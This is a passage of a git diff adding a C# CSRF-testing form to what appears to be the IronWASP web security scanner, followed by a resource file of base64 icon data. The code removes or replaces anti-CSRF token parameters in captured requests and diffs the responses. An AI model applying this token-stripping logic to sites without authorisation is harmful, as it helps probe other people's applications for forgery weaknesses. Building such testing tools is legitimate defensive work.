(Req.IsSoap) + { + Params = FormatPlugin.GetSoapParameters(Req); + } + else if (Req.IsJson) + { + Params = FormatPlugin.GetJsonParameters(Req); + } + else if (Req.IsMultiPart) + { + Params = FormatPlugin.GetMultipartParameters(Req); + } + if (Params != null) + { + for (int i = 0; i < Params.Count; i++) + { + if (Params.GetName(i).Contains(TokenName)) + { + string[] Parts = Params.GetName(i).Split(new char[] {'>'}, StringSplitOptions.RemoveEmptyEntries); + if(Parts.Length > 0) + { + if(Parts[Parts.Length - 1].Trim().Equals(TokenName)) + { + if(RemoveParameter) + { + TokenReplacementValue = ""; + } + if (Req.IsXml || Req.IsSoap || Req.IsJson || Req.IsMultiPart) + { + FormatPlugin.Get(Req.BodyType).InjectInRequest(Req, i, TokenReplacementValue); + } + } + } + break; + } + } + } + } + } + return Req; + } + + private void ResultsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedResultItem(); + } + + void ShowSelectedResultItem() + { + if (ResultsGrid.SelectedRows.Count > 0) + { + DataGridViewRow Row = ResultsGrid.SelectedRows[0]; + Request OriginalRequest = Request.FromBinaryString(Row.Cells["OriginalRequestBinaryStringClmn"].Value.ToString()); + Response OriginalResponse = Response.FromBinaryString(Row.Cells["OriginalResponseBinaryStringClmn"].Value.ToString()); + Request TestRequest = Request.FromBinaryString(Row.Cells["TestRequestBinaryStringClmn"].Value.ToString()); + Response TestResponse = Response.FromBinaryString(Row.Cells["TestResponseBinaryStringClmn"].Value.ToString()); + + string OriginalRequestString = OriginalRequest.ToString(); + string OriginalResponseString = OriginalResponse.ToString(); + string TestRequestString = TestRequest.ToString(); + string TestResponseString = TestResponse.ToString(); + + string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); + string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); + + string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); + string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); + + OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); + OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); + + OriginalRequestView.SetRequest(OriginalRequest); + OriginalResponseView.SetResponse(OriginalResponse, OriginalRequest); + TestRequestView.SetRequest(TestRequest); + TestResponseView.SetResponse(TestResponse, TestRequest); + } + } + + private void CandidatesGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (CandidatesGrid.SelectedRows.Count > 0) + { + if (e.ColumnIndex == 0) + { + if ((bool)CandidatesGrid.SelectedRows[0].Cells[0].Value) + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + CandidatesGrid.SelectedRows[0].Cells[0].Value = true; + } + } + else + { + //ShowSelectedLog(); + } + } + } + + void ShowSelectedLog() + { + try + { + SessView.LoadAndShowSession((int)CandidatesGrid.SelectedRows[0].Cells[1].Value, "Proxy"); + } + catch { } + } + + int CurrentFilterTreeNodeLevel = -1; + private void FilterTree_AfterCheck(object sender, TreeViewEventArgs e) + { + if (e.Node.Level > CurrentFilterTreeNodeLevel) + { + CurrentFilterTreeNodeLevel = e.Node.Level; + } + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + if (e.Node.Level == CurrentFilterTreeNodeLevel) + { + UpdateCandidatesCheckBasedOnFilter(); + CurrentFilterTreeNodeLevel = -1; + } + } + + void UpdateCandidatesCheckBasedOnFilter() + { + List AllowedMethods = new List(); + Dictionary> AllowedUrls = new Dictionary>(); + List AllowedFileExts = new List(); + + if (FilterTree.Nodes.Count == 3) + { + foreach (TreeNode Node in FilterTree.Nodes[0].Nodes) + { + if (Node.Checked) + { + AllowedMethods.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[1].Nodes) + { + if (Node.Checked) + { + AllowedFileExts.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[2].Nodes) + { + if (Node.Checked) + { + AllowedUrls[Node.Name] = GetSelectedUrlPathsForNode(Node); + } + } + } + + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (AllowedUrls.ContainsKey(Row.Cells["HostNameSelectClmn"].Value.ToString()) + && AllowedMethods.Contains(Row.Cells["MethodClmn"].Value.ToString()) + && (AllowedFileExts.Contains(Row.Cells["FileClmn"].Value.ToString()) || (Row.Cells["FileClmn"].Value.ToString().Length == 0 && AllowedFileExts.Contains(" - NO EXTENSION - ")))) + { + bool UrlMatchFound = false; + string Url = Row.Cells["URLClmn"].Value.ToString(); + string UrlWithQueryMarker = string.Format("{0}?", Url); + foreach (string UrlPath in AllowedUrls[Row.Cells["HostNameSelectClmn"].Value.ToString()]) + { + if (UrlPath.Equals(Url)) + { + UrlMatchFound = true; + break; + } + else if (Url.StartsWith(UrlPath) && Url.StartsWith(UrlWithQueryMarker)) + { + UrlMatchFound = true; + break; + } + } + if (UrlMatchFound) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + List GetSelectedUrlPathsForNode(TreeNode Node) + { + List Result = new List(); + foreach (TreeNode ChildNode in Node.Nodes) + { + if (ChildNode.Checked) + { + Result.Add(ChildNode.Name); + } + Result.AddRange(GetSelectedUrlPathsForNode(ChildNode)); + } + return Result; + } + + private void FilterTree_BeforeCheck(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) e.Cancel = true; + if (e.Action != TreeViewAction.Unknown && !e.Node.Checked && e.Node.Level > 1) + { + TreeNode HostnameNode = GetHostnameNode(e.Node); + if (HostnameNode != null) + { + if (!HostnameNode.Checked) + { + e.Cancel = true; + MessageBox.Show("The hostname node is not checked, cannot select sections of the host without selecting the hostname."); + } + } + } + } + + private void FilterTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) + { + e.Cancel = true; + } + } + + TreeNode GetHostnameNode(TreeNode CurrentNode) + { + if (CurrentNode.Level == 1 && CurrentNode.Parent.Index == 2) + { + return CurrentNode; + } + else if (CurrentNode.Level > 1) + { + return GetHostnameNode(CurrentNode.Parent); + } + else + { + return null; + } + } + + private void HostnamesScopeTree_AfterCheck(object sender, TreeViewEventArgs e) + { + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + } + + private void HostnamesScopeTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + e.Cancel = true; + } + + private void CsrfTester_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + WorkerThread.Abort(); + } + catch { } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (InResultsStage && e.TabPageIndex != 2) e.Cancel = true; + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void CandidatesGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ResultsGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedResultItem(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ShowDocLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Docs.DocForCsrfTester DF = new Docs.DocForCsrfTester(); + DF.Show(); + } + } +} diff --git a/Iron/Hawas/CsrfTester.resx b/Iron/Hawas/CsrfTester.resx new file mode 100644 index 0000000..4171c28 --- /dev/null +++ b/Iron/Hawas/CsrfTester.resx @@ -0,0 +1,1990 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 